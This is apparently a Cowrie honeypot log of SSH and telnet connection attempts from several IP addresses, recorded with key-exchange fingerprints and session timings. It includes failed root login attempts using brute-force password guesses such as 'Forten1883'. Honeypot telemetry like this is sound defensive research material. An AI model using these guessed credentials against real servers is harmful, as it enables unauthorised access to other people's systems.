{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:40.228193Z","src_ip":"103.27.238.68","session":"1ed502e1fea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:40.504709Z","src_ip":"103.27.238.68","session":"1ed502e1fea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:41.335409Z","src_ip":"103.27.238.68","session":"1ed502e1fea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.1512393951416,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:41.903821Z","src_ip":"50.6.8.71","session":"e3a8fd23a5d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:42.614349Z","src_ip":"103.27.238.68","session":"1ed502e1fea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3216346dc69","protocol":"ssh","message":"New connection: 103.149.28.157:59862 (159.203.135.109:22) [session: d3216346dc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:45.542596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:45.547478Z","src_ip":"103.149.28.157","session":"d3216346dc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:45.794163Z","src_ip":"103.149.28.157","session":"d3216346dc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccf0f3dc9859","protocol":"ssh","message":"New connection: 103.173.227.57:33888 (159.203.135.109:22) [session: ccf0f3dc9859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:46.043243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:46.048486Z","src_ip":"103.173.227.57","session":"ccf0f3dc9859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:46.286327Z","src_ip":"103.173.227.57","session":"ccf0f3dc9859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:46.548483Z","src_ip":"103.149.28.157","session":"d3216346dc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:46.991484Z","src_ip":"103.173.227.57","session":"ccf0f3dc9859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:47.796603Z","src_ip":"103.149.28.157","session":"d3216346dc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:48.230173Z","src_ip":"103.173.227.57","session":"ccf0f3dc9859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":35390,"dst_ip":"159.203.135.109","dst_port":22,"session":"48092402d0c2","protocol":"ssh","message":"New connection: 103.75.183.219:35390 (159.203.135.109:22) [session: 48092402d0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:50.267386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:50.272101Z","src_ip":"103.75.183.219","session":"48092402d0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:50.521759Z","src_ip":"103.75.183.219","session":"48092402d0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53140,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9715c484dc","protocol":"telnet","message":"New connection: 50.6.8.71:53140 (10.17.0.5:23) [session: ee9715c484dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:51.045475Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:51.267519Z","src_ip":"103.75.183.219","session":"48092402d0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38105344772339,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:51.275347Z","src_ip":"50.6.8.71","session":"c381c2019ae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53150,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b2fe8b913b","protocol":"telnet","message":"New connection: 50.6.8.71:53150 (10.17.0.5:23) [session: 49b2fe8b913b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:52.414486Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:52.522866Z","src_ip":"103.75.183.219","session":"48092402d0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":52410,"dst_ip":"159.203.135.109","dst_port":22,"session":"e78bf39d6ea6","protocol":"ssh","message":"New connection: 50.7.136.106:52410 (159.203.135.109:22) [session: e78bf39d6ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:54.041600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:54.046463Z","src_ip":"50.7.136.106","session":"e78bf39d6ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:54.128906Z","src_ip":"50.7.136.106","session":"e78bf39d6ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhbjETuyMffoL8F","message":"login attempt [root/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:54.373987Z","src_ip":"50.7.136.106","session":"e78bf39d6ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:55.459420Z","src_ip":"50.7.136.106","session":"e78bf39d6ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d79d0376883c","protocol":"telnet","message":"New connection: 50.6.8.71:49898 (10.17.0.5:23) [session: d79d0376883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:58.476338Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49900,"dst_ip":"10.17.0.5","dst_port":23,"session":"e557fee7bf48","protocol":"telnet","message":"New connection: 50.6.8.71:49900 (10.17.0.5:23) [session: e557fee7bf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:58.796508Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49902,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66a9244be79","protocol":"telnet","message":"New connection: 50.6.8.71:49902 (10.17.0.5:23) [session: b66a9244be79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:05.232592Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":58090,"dst_ip":"159.203.135.109","dst_port":22,"session":"da37bb0d1043","protocol":"ssh","message":"New connection: 103.27.238.116:58090 (159.203.135.109:22) [session: da37bb0d1043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:05.978343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:05.983170Z","src_ip":"103.27.238.116","session":"da37bb0d1043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:06.255256Z","src_ip":"103.27.238.116","session":"da37bb0d1043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:07.071508Z","src_ip":"103.27.238.116","session":"da37bb0d1043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:08.347909Z","src_ip":"103.27.238.116","session":"da37bb0d1043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60636,"dst_ip":"10.17.0.5","dst_port":23,"session":"65fb2acc34de","protocol":"telnet","message":"New connection: 50.6.8.71:60636 (10.17.0.5:23) [session: 65fb2acc34de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:08.352987Z"}
{"eventid":"cowrie.session.closed","duration":33.98220467567444,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:11.035550Z","src_ip":"50.6.8.71","session":"18bf2e629a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.53082489967346,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:11.119498Z","src_ip":"50.6.8.71","session":"7a84852803e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60646,"dst_ip":"10.17.0.5","dst_port":23,"session":"425558676df9","protocol":"telnet","message":"New connection: 50.6.8.71:60646 (10.17.0.5:23) [session: 425558676df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:12.063411Z"}
{"eventid":"cowrie.session.closed","duration":34.80339050292969,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:12.248320Z","src_ip":"50.6.8.71","session":"9ad21b262c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08778953552246,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:12.523911Z","src_ip":"50.6.8.71","session":"fcca2b01cf2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":44372,"dst_ip":"159.203.135.109","dst_port":22,"session":"db4c89a721f4","protocol":"ssh","message":"New connection: 103.27.238.118:44372 (159.203.135.109:22) [session: db4c89a721f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:17.403280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:17.408756Z","src_ip":"103.27.238.118","session":"db4c89a721f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:17.674554Z","src_ip":"103.27.238.118","session":"db4c89a721f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:18.475784Z","src_ip":"103.27.238.118","session":"db4c89a721f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33816,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e29ea1ccb41","protocol":"telnet","message":"New connection: 50.6.8.71:33816 (10.17.0.5:23) [session: 6e29ea1ccb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:19.573532Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:19.745250Z","src_ip":"103.27.238.118","session":"db4c89a721f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"570f61a20b59","protocol":"telnet","message":"New connection: 50.6.8.71:33818 (10.17.0.5:23) [session: 570f61a20b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:21.218039Z"}
